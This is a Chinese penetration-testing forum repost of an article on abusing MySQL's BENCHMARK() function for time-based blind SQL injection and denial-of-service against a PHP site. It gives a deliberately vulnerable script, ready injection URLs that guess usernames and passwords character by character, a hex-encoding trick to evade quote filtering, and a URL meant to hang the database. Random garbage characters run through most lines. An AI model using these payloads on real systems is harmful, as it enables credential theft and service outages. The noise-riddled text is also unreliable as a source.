中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用 9 u2 O' W, c: A! v1 R
本文作者:SuperHei
5 ^$ u+ f5 `. j$ S$ N4 T- Z8 G文章性质:原创
2 s9 M7 c; {1 ^发布日期:2005-01-029 R% c; I" U) U+ B( B% b
完成日期:2004-07-09 - K( q# ^6 B8 S3 [3 p2 q) a
第一部
7 _) N  H4 `+ B* R7 A: v0 ~: M( K3 T7 s+ m* j
利用时间推延进行注射---BENCHMARK函数在注射中的利用
/ f+ f6 F. L$ Y$ b9 P( ^( O; O# o7 V9 d" M" Q( d  }+ m
一.前言/思路7 I0 b7 K7 V2 B" \6 u

) M* z; B2 B3 v( i/ ]4 o. R  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。  U  {( i; x! Z' h9 D/ K0 ^; j+ C2 k

% i* D' F, j" ~% o2 c. i4 j& K& k  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
  i, ]+ i8 `/ M: [5 g4 @# `
% M. y1 w4 q' `  ^6 C6 ]- A二.关于BENCHMARK函数
$ g, u6 @% q! p4 }: ]- E" v3 s* ^, B- X5 k! [( U2 t+ X
  在MySQL参考手册里可以看到如下描叙: . M/ w7 V# G) `1 W% {

( f- ~4 }& z- Q1 r* G% H
! U7 {$ N! b' c--------------------------------------------------------------------------------* P/ J) i7 G4 X* E1 D: m

/ I0 z  p3 O2 {BENCHMARK(count,expr)
9 A0 W9 R/ m3 p# _. X9 N; `BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
* |/ ~  s% S9 `" C( ~mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
" F, Z/ |. C* R2 B1 I/ g+ g% x+----------------------------------------------+ 9 x! A8 D& X' z" r/ W) M1 f
| BENCHMARK(1000000,encode("hello","goodbye")) |
& f8 \5 o! q2 v  @* k5 R+----------------------------------------------+ 1 x' p0 L4 T$ V- s+ L
| 0 | ) Q2 t/ Z6 @/ T* f  D. o) z& e
+----------------------------------------------+
3 q, T2 ^+ Q1 `. P! B1 row in set (4.74 sec)
5 N7 }' T% h6 ]# U4 s4 R2 e
4 I5 G  ?+ a/ n0 J( e+ \( b9 L报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
# X' \) ~; w0 U
8 {% w; t- w) L/ D/ h
/ Y) d! i( {4 E$ C: H7 C  K' W! k--------------------------------------------------------------------------------
# `; D; O7 r1 x0 U7 [3 V2 k6 E9 a( L$ O" q) P# D6 X
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
" r3 u5 b+ i- @4 d0 I- J0 `0 M" C4 F. c$ p" l
mysql> select md5( 'test' );
% U4 q# l9 n# `' s/ [. e& R+----------------------------------+
5 z2 S5 _! E* c# E| md5( 'test' ) |
: d) E2 R2 \( f4 S+ n: a+----------------------------------+ 9 E/ ~$ s9 I2 K
| 098f6bcd4621d373cade4e832627b4f6 |
1 I* ]; j! }$ p& G' \+----------------------------------+ ) f9 \; H& f6 I
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec - c- q2 {0 B, o4 r  ?1 y7 f6 H
  c# o3 Z; _% {: E
mysql> select benchmark( 500000, md5( 'test' ) );
; B- N2 u7 Y( K; [% y- F# _+------------------------------------+
+ w. [& @- ~9 C* k- `& T| benchmark( 500000, md5( 'test' ) ) | 6 `8 a0 ?' k7 ^3 t
+------------------------------------+
. B# p) R* C6 L| 0 |
$ [' ]3 X" E( _+------------------------------------+
. N3 A6 W4 M* }2 n1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
3 H; F6 J( Z- u8 T" O0 T * z5 U$ y' i0 x/ e3 h' l/ R
8 m6 R" x6 e* P
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
9 s9 h& g1 k3 d9 Y, H' v3 V
* E( x( z! Z7 ^3 }8 s& u" R7 d三.具体例子
; M% t* {2 R6 Z  p. h2 t) \+ f  h" d+ ~. L
  首先我们看个简单的php代码:2 S" T: T  e1 }4 v
* h7 o2 {; h" u5 b% ~% g7 M
< ?php
7 q/ U2 g# K- r$ G; R. A$servername = "localhost"; 2 J! }+ I% |7 Q  ^$ }, J
$dbusername = "root"; : Q) W3 \# L1 L+ `+ \& Z+ d
$dbpassword = "";
0 l* f7 o) E) F$dbname = "injection";
( P& ?9 Q3 ?4 `8 L6 K. ~( V) F$ Z7 \& X# p1 ~/ ]! X5 J( v
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");   o5 r4 ?1 D* R; }& K% Q9 m7 Q
, z6 f$ w6 s; T$ n# U5 C( w
$sql = "SELECT * FROM article WHERE articleid=$id"; $ A" S2 z/ a; D/ o
$result = mysql_db_query($dbname,$sql); 4 `3 o+ g  j; b  C7 I0 M
$row = mysql_fetch_array($result);
$ r$ g: w3 \; ]4 B# X* s& ^3 q3 @6 ?3 A% [- \2 ?6 s
if (!$row)
& ]3 k9 v4 l$ q* K5 O; q{
9 q8 n$ @, E1 Oexit;
* f. y0 f, u1 Z- q6 e( N}
7 Z* S( q/ q2 }$ G! n?>* K0 |4 E; j( Z4 O/ W- ~: i
2 _# o; t5 l; c! K
/ G+ J# i; L$ C0 A
  数据库injection结构和内容如下:: |$ Q+ w9 e( z4 e* h* X5 `
: ?4 p! N) \, T3 C9 g; b
# 数据库 : `injection`
0 X& {. r% H! B% [3 V& j' P, o& `: ~# " b! j- u" j- L3 x" P9 U
9 w4 n& f  W. b$ q7 N' C
# -------------------------------------------------------- 7 A5 \' \" G' U6 z# m% M8 k5 ~

' e6 O$ p7 d5 {! A& I# O+ Z5 ?# , R$ ^2 r4 o4 p3 o
# 表的结构 `article`
) {0 _! l; I- |# % z* Y8 c8 W4 f; D+ b. p
, [$ C9 b) F  u+ s6 ~: b& B6 z# P
CREATE TABLE `article` ( 3 y" B4 F/ i" s; e* O
`articleid` int(11) NOT NULL auto_increment,
: M; @+ y9 |  I+ |# G`title` varchar(100) NOT NULL default '',
- R5 I! K" E6 C4 b* _' E`content` text NOT NULL, / g! v, z( Y5 N2 p
PRIMARY KEY (`articleid`) 7 A! j: A7 m# U# K) W* f4 y
) TYPE=MyISAM AUTO_INCREMENT=3 ;
. J) A8 [5 X' n7 N& N: G5 q9 A* p  y& S# U% ^
# / B' h) R% e5 H
# 导出表中的数据 `article` 9 J2 h. a, a! ^# }0 [% c; K
#
' t3 p. o3 @! R2 A, N, U1 s: T1 J( g
: c0 g1 {5 P0 w5 ^# vINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
) V. M0 _# n/ c7 k! N) U6 ~/ |INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ; F/ N6 U. x. S6 y* B7 N

# ^* w1 O. q  j3 y: R# --------------------------------------------------------
9 |" g6 _8 `  M! X0 \! h1 x. Q6 `+ @$ K, V
#
3 B3 v1 x4 o" E" S# 表的结构 `user`
2 L1 v4 E: s) H6 f1 s5 L# / U2 y0 l& S1 ]# b+ a1 h

( F5 P  g5 x- j! l4 m( c. OCREATE TABLE `user` ( 8 s/ F" B/ Z# _. `
`userid` int(11) NOT NULL auto_increment,
; n1 @( j* I5 a! y`username` varchar(20) NOT NULL default '', * J. C  _. N5 Z3 n/ ^
`password` varchar(20) NOT NULL default '',
. u1 j& ^; p8 p/ q' FPRIMARY KEY (`userid`)
* A& b$ l% [' F( r/ V' f& ], }) TYPE=MyISAM AUTO_INCREMENT=3 ; , o* @6 u" T( ^* X( ~# ?

# E; d3 W& ^/ D1 S" ^# # H" K9 P9 [7 N" Q
# 导出表中的数据 `user` 4 e2 q( j) I  [9 @" O, J+ D0 @
# 9 m( e  K, s" J7 p- f' n' q9 p
, i! Q) _* `/ h
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
8 w+ n  q+ ?1 Y# `INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
4 E1 e( j* m# ]# T+ S- I   A# q: p7 D/ F: ]; F
6 u# {8 @( k- i0 M- J) U2 g) W
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
- x3 ^2 X$ T5 ]' \. q" d
' V6 `) g. ~; E" Y9 Rid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
1 I; |$ y0 ~; T
/ Y$ p5 M4 R# r& r% {9 F  q
1 V2 ^6 B1 I; q1 D; B. H) C& H* x  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:; B* t4 z+ K! |0 G3 e# X

# w" l7 b# i& v7 g5 B1 i4 ]6 Ihttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
' e+ g( U9 V  j
2 c3 }* Z$ G& H4 s! m  i8 A8 r: A4 w. @- F4 c- B6 Q
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
4 `, q6 a4 r* i& M# ~; U
7 N  T" p9 L8 ?. e  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
) B$ L' l" U8 n+ U% [1 Z+ c2 Q4 b" |  D
第二部5 O: N. |  M+ i
& W1 B$ G1 s& H. D! a+ H
利用BENCHMARK函数进行ddos攻击 2 L( q" k7 l: P' Z7 j

9 T, n/ w* Q8 f. S! `  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
) V: S+ l' p/ A8 }0 c! V( p8 G9 A6 K+ |* W# Q
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))) V. b8 [! s/ @1 F( E
; b  d1 x3 b6 k6 n% z& S9 X9 ]4 m

7 u6 e' L7 P+ m+ E0 x* Z. J* P小结
$ j4 q8 H# G$ ]; C% [
) u2 q3 s0 I- [  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
3 W+ y8 E! ^: [& G! X 7 _1 k' K, q3 ], z. m8 ^
  
2 N# \" ?  i1 p6 X0 ~$ v0 T7 Q




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2